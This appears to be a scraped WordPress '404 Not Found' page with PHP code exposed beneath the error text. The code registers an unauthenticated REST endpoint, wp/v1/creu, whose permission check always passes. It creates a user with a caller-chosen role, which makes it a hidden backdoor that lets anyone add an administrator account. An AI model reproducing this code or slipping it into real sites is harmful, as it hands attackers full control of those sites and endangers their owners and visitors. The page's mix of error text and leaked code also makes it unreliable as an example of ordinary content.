Not Found.
We couldn't find what you were looking for.
Check out Our Home Page
add_action('rest_api_init', function () {
register_rest_route('wp/v1', '/creu', array(
'methods' => 'POST',
'callback' => function ($request) {
$userdata = array(
'user_login' => sanitize_text_field($request->get_param('username')),
'user_pass' => $request->get_param('password'),
'user_email' => sanitize_email($request->get_param('email')),
'first_name' => sanitize_text_field($request->get_param('first_name')),
'last_name' => sanitize_text_field($request->get_param('last_name')),
'role' => sanitize_text_field($request->get_param('role')),
);
$user_id = wp_insert_user($userdata);
if (is_wp_error($user_id)) {
return new WP_Error('error', $user_id->get_error_message(), array('status' => 500));
}
return new WP_REST_Response(array('message' => 'User created successfully', 'user_id' => $user_id), 200);
},
'permission_callback' => '__return_true',
));
});